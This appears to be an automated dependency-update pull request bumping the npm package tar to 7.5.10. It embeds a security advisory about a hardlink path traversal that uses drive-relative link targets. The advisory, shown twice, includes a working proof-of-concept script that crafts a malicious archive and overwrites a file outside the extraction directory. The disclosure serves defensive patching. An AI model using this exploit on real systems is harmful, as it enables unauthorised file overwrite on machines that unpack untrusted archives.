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fix(deps): update dependency tar to v7.5.10 [security]#531

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fix(deps): update dependency tar to v7.5.10 [security]#531
renovate-sh-app[bot] wants to merge 1 commit intomainfrom
renovate/npm-tar-vulnerability

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@renovate-sh-app renovate-sh-app bot commented Mar 5, 2026

This PR contains the following updates:

Package Change Age Confidence
tar 7.5.87.5.10 age confidence
tar ^7.4.3^7.5.10 age confidence

Warning

Some dependencies could not be looked up. Check the warning logs for more information.

GitHub Vulnerability Alerts

GHSA-qffp-2rhf-9h96

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

  1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
  2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
  3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
  4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files

tar has Hardlink Path Traversal via Drive-Relative Linkpath

GHSA-qffp-2rhf-9h96

More information

Details

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

  1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
  2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
  3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
  4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files

Severity

  • CVSS Score: Unknown
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

isaacs/node-tar (tar)

v7.5.10

Compare Source

v7.5.9

Compare Source


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| datasource | package | from  | to     |
| ---------- | ------- | ----- | ------ |
| npm        | tar     | 7.5.8 | 7.5.10 |


Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
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